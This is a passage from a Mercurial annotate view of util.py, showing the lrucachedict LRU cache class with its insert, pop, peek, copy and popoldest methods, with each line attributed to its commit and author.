diff changeset
1438 self._head = head = _lrucachenode()
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1439 head.prev = head
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1440 head.next = head
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1441 self._size = 1
39564
5d75a3c16193 util: make capacity a public attribute on lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39563
diff changeset
1442 self.capacity = max
39567
ee087f0d7db5 util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39566
diff changeset
1443 self.totalcost = 0
39568
842cd0bdda75 util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39567
diff changeset
1444 self.maxcost = maxcost
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1445
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1446 def __len__(self):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1447 return len(self._cache)
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1448
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1449 def __contains__(self, k):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1450 return k in self._cache
18603
2251b3184e6e util: add an LRU cache dict
Siddharth Agarwal <sid0@fb.com>
parents: 18537
diff changeset
1451
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1452 def __iter__(self):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1453 # We don't have to iterate in cache order, but why not.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1454 n = self._head
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1455 for i in range(len(self._cache)):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1456 yield n.key
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1457 n = n.next
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1458
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1459 def __getitem__(self, k):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1460 node = self._cache[k]
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1461 self._movetohead(node)
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1462 return node.value
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1463
39567
ee087f0d7db5 util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39566
diff changeset
1464 def insert(self, k, v, cost=0):
ee087f0d7db5 util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39566
diff changeset
1465 """Insert a new item in the cache with optional cost value."""
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1466 node = self._cache.get(k)
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1467 # Replace existing value and mark as newest.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1468 if node is not None:
39567
ee087f0d7db5 util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39566
diff changeset
1469 self.totalcost -= node.cost
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1470 node.value = v
39567
ee087f0d7db5 util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39566
diff changeset
1471 node.cost = cost
ee087f0d7db5 util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39566
diff changeset
1472 self.totalcost += cost
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1473 self._movetohead(node)
39568
842cd0bdda75 util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39567
diff changeset
1474
842cd0bdda75 util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39567
diff changeset
1475 if self.maxcost:
842cd0bdda75 util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39567
diff changeset
1476 self._enforcecostlimit()
842cd0bdda75 util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39567
diff changeset
1477
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1478 return
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1479
39564
5d75a3c16193 util: make capacity a public attribute on lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39563
diff changeset
1480 if self._size < self.capacity:
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1481 node = self._addcapacity()
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1482 else:
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1483 # Grab the last/oldest item.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1484 node = self._head.prev
18603
2251b3184e6e util: add an LRU cache dict
Siddharth Agarwal <sid0@fb.com>
parents: 18537
diff changeset
1485
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1486 # At capacity. Kill the old entry.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1487 if node.key is not _notset:
39567
ee087f0d7db5 util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39566
diff changeset
1488 self.totalcost -= node.cost
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1489 del self._cache[node.key]
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1490
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1491 node.key = k
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1492 node.value = v
39567
ee087f0d7db5 util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39566
diff changeset
1493 node.cost = cost
ee087f0d7db5 util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39566
diff changeset
1494 self.totalcost += cost
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1495 self._cache[k] = node
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1496 # And mark it as newest entry. No need to adjust order since it
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1497 # is already self._head.prev.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1498 self._head = node
18603
2251b3184e6e util: add an LRU cache dict
Siddharth Agarwal <sid0@fb.com>
parents: 18537
diff changeset
1499
39568
842cd0bdda75 util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39567
diff changeset
1500 if self.maxcost:
842cd0bdda75 util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39567
diff changeset
1501 self._enforcecostlimit()
842cd0bdda75 util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39567
diff changeset
1502
39567
ee087f0d7db5 util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39566
diff changeset
1503 def __setitem__(self, k, v):
ee087f0d7db5 util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39566
diff changeset
1504 self.insert(k, v)
ee087f0d7db5 util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39566
diff changeset
1505
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1506 def __delitem__(self, k):
40880
7cda0cacbbf6 util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents: 40879
diff changeset
1507 self.pop(k)
7cda0cacbbf6 util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents: 40879
diff changeset
1508
7cda0cacbbf6 util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents: 40879
diff changeset
1509 def pop(self, k, default=_notset):
7cda0cacbbf6 util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents: 40879
diff changeset
1510 try:
7cda0cacbbf6 util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents: 40879
diff changeset
1511 node = self._cache.pop(k)
7cda0cacbbf6 util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents: 40879
diff changeset
1512 except KeyError:
7cda0cacbbf6 util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents: 40879
diff changeset
1513 if default is _notset:
7cda0cacbbf6 util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents: 40879
diff changeset
1514 raise
7cda0cacbbf6 util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents: 40879
diff changeset
1515 return default
43881
b5655f337bd7 typing: add a couple of assertions to lrucachedict to help pytype
Matt Harbison <matt_harbison@yahoo.com>
parents: 43880
diff changeset
1516
b5655f337bd7 typing: add a couple of assertions to lrucachedict to help pytype
Matt Harbison <matt_harbison@yahoo.com>
parents: 43880
diff changeset
1517 assert node is not None # help pytype
40880
7cda0cacbbf6 util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents: 40879
diff changeset
1518 value = node.value
39567
ee087f0d7db5 util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39566
diff changeset
1519 self.totalcost -= node.cost
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1520 node.markempty()
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1521
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1522 # Temporarily mark as newest item before re-adjusting head to make
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1523 # this node the oldest item.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1524 self._movetohead(node)
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1525 self._head = node.next
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1526
40880
7cda0cacbbf6 util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents: 40879
diff changeset
1527 return value
7cda0cacbbf6 util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents: 40879
diff changeset
1528
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1529 # Additional dict methods.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1530
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1531 def get(self, k, default=None):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1532 try:
39571
8f2c0d1b454c util: update lrucachedict order during get()
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39570
diff changeset
1533 return self.__getitem__(k)
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1534 except KeyError:
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1535 return default
18603
2251b3184e6e util: add an LRU cache dict
Siddharth Agarwal <sid0@fb.com>
parents: 18537
diff changeset
1536
40879
0c638ff69f5c util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents: 40689
diff changeset
1537 def peek(self, k, default=_notset):
0c638ff69f5c util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents: 40689
diff changeset
1538 """Get the specified item without moving it to the head
0c638ff69f5c util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents: 40689
diff changeset
1539
0c638ff69f5c util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents: 40689
diff changeset
1540 Unlike get(), this doesn't mutate the internal state. But be aware
0c638ff69f5c util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents: 40689
diff changeset
1541 that it doesn't mean peek() is thread safe.
0c638ff69f5c util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents: 40689
diff changeset
1542 """
0c638ff69f5c util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents: 40689
diff changeset
1543 try:
0c638ff69f5c util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents: 40689
diff changeset
1544 node = self._cache[k]
0c638ff69f5c util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents: 40689
diff changeset
1545 return node.value
0c638ff69f5c util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents: 40689
diff changeset
1546 except KeyError:
0c638ff69f5c util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents: 40689
diff changeset
1547 if default is _notset:
0c638ff69f5c util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents: 40689
diff changeset
1548 raise
0c638ff69f5c util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents: 40689
diff changeset
1549 return default
0c638ff69f5c util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents: 40689
diff changeset
1550
19710
887ffa22fd0d lrucachedict: implement clear()
Siddharth Agarwal <sid0@fb.com>
parents: 19461
diff changeset
1551 def clear(self):
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1552 n = self._head
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1553 while n.key is not _notset:
39567
ee087f0d7db5 util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39566
diff changeset
1554 self.totalcost -= n.cost
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1555 n.markempty()
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1556 n = n.next
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1557
19710
887ffa22fd0d lrucachedict: implement clear()
Siddharth Agarwal <sid0@fb.com>
parents: 19461
diff changeset
1558 self._cache.clear()
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1559
39568
842cd0bdda75 util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39567
diff changeset
1560 def copy(self, capacity=None, maxcost=0):
39565
2dcc68c7d25b util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39564
diff changeset
1561 """Create a new cache as a copy of the current one.
2dcc68c7d25b util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39564
diff changeset
1562
2dcc68c7d25b util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39564
diff changeset
1563 By default, the new cache has the same capacity as the existing one.
2dcc68c7d25b util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39564
diff changeset
1564 But, the cache capacity can be changed as part of performing the
2dcc68c7d25b util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39564
diff changeset
1565 copy.
2dcc68c7d25b util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39564
diff changeset
1566
2dcc68c7d25b util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39564
diff changeset
1567 Items in the copy have an insertion/access order matching this
2dcc68c7d25b util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39564
diff changeset
1568 instance.
2dcc68c7d25b util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39564
diff changeset
1569 """
2dcc68c7d25b util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39564
diff changeset
1570
2dcc68c7d25b util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39564
diff changeset
1571 capacity = capacity or self.capacity
39568
842cd0bdda75 util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39567
diff changeset
1572 maxcost = maxcost or self.maxcost
842cd0bdda75 util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39567
diff changeset
1573 result = lrucachedict(capacity, maxcost=maxcost)
39563
b31b01f93b11 util: properly copy lrucachedict instances
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39259
diff changeset
1574
b31b01f93b11 util: properly copy lrucachedict instances
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39259
diff changeset
1575 # We copy entries by iterating in oldest-to-newest order so the copy
b31b01f93b11 util: properly copy lrucachedict instances
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39259
diff changeset
1576 # has the correct ordering.
b31b01f93b11 util: properly copy lrucachedict instances
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39259
diff changeset
1577
b31b01f93b11 util: properly copy lrucachedict instances
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39259
diff changeset
1578 # Find the first non-empty entry.
27576
6cd3044985c2 lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents: 27391
diff changeset
1579 n = self._head.prev
39563
b31b01f93b11 util: properly copy lrucachedict instances
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39259
diff changeset
1580 while n.key is _notset and n is not self._head:
b31b01f93b11 util: properly copy lrucachedict instances
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39259
diff changeset
1581 n = n.prev
b31b01f93b11 util: properly copy lrucachedict instances
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39259
diff changeset
1582
39565
2dcc68c7d25b util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39564
diff changeset
1583 # We could potentially skip the first N items when decreasing capacity.
2dcc68c7d25b util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39564
diff changeset
1584 # But let's keep it simple unless it is a performance problem.
27576
6cd3044985c2 lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents: 27391
diff changeset
1585 for i in range(len(self._cache)):
39567
ee087f0d7db5 util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39566
diff changeset
1586 result.insert(n.key, n.value, cost=n.cost)
27576
6cd3044985c2 lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents: 27391
diff changeset
1587 n = n.prev
39563
b31b01f93b11 util: properly copy lrucachedict instances
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39259
diff changeset
1588
27576
6cd3044985c2 lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents: 27391
diff changeset
1589 return result
6cd3044985c2 lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents: 27391
diff changeset
1590
39566
bd9d3a89f07b util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39565
diff changeset
1591 def popoldest(self):
bd9d3a89f07b util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39565
diff changeset
1592 """Remove the oldest item from the cache.
bd9d3a89f07b util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39565
diff changeset
1593
bd9d3a89f07b util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39565
diff changeset
1594 Returns the (key, value) describing the removed cache entry.
bd9d3a89f07b util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39565
diff changeset
1595 """
bd9d3a89f07b util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39565
diff changeset
1596 if not self._cache:
bd9d3a89f07b util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39565
diff changeset
1597 return
bd9d3a89f07b util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39565
diff changeset
1598
bd9d3a89f07b util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39565
diff changeset
1599 # Walk the linked list backwards starting at tail node until we hit
bd9d3a89f07b util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39565
diff changeset
1600 # a non-empty node.
bd9d3a89f07b util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39565
diff changeset
1601 n = self._head.prev
bd9d3a89f07b util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39565
diff changeset
1602 while n.key is _notset:
bd9d3a89f07b util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39565
diff changeset
1603 n = n.prev
bd9d3a89f07b util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39565
diff changeset
1604
43881
b5655f337bd7 typing: add a couple of assertions to lrucachedict to help pytype
Matt Harbison <matt_harbison@yahoo.com>
parents: 43880
diff changeset
1605 assert n is not None # help pytype
b5655f337bd7 typing: add a couple of assertions to lrucachedict to help pytype
Matt Harbison <matt_harbison@yahoo.com>
parents: 43880
diff changeset
1606
39566
bd9d3a89f07b util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39565
diff changeset
1607 key, value = n.key, n.value
bd9d3a89f07b util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39565
diff changeset
1608
bd9d3a89f07b util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39565
diff changeset
1609 # And remove it from the cache and mark it as empty.
bd9d3a89f07b util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39565
diff changeset
1610 del self._cache[n.key]
39567
ee087f0d7db5 util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39566
diff changeset
1611 self.totalcost -= n.cost
39566
bd9d3a89f07b util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39565
diff changeset
1612 n.markempty()
bd9d3a89f07b util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39565
diff changeset
1613
bd9d3a89f07b util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39565
diff changeset
1614 return key, value
bd9d3a89f07b util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39565
diff changeset
1615
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1616 def _movetohead(self, node):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1617 """Mark a node as the newest, making it the new head.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1618
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1619 When a node is accessed, it becomes the freshest entry in the LRU
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1620 list, which is denoted by self._head.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1621
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1622 Visually, let's make ``N`` the new head node (* denotes head):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1623
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1624 previous/oldest <-> head <-> next/next newest
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1625
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1626 ----<->--- A* ---<->-----
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1627 | |
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1628 E <-> D <-> N <-> C <-> B
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1629
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1630 To:
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1631
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1632 ----<->--- N* ---<->-----
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1633 | |
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1634 E <-> D <-> C <-> B <-> A
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1635
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1636 This requires the following moves:
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1637
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1638 C.next = D (node.prev.next = node.next)
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1639 D.prev = C (node.next.prev = node.prev)
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1640 E.next = N (head.prev.next = node)
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1641 N.prev = E (node.prev = head.prev)
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1642 N.next = A (node.next = head)
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1643 A.prev = N (head.prev = node)
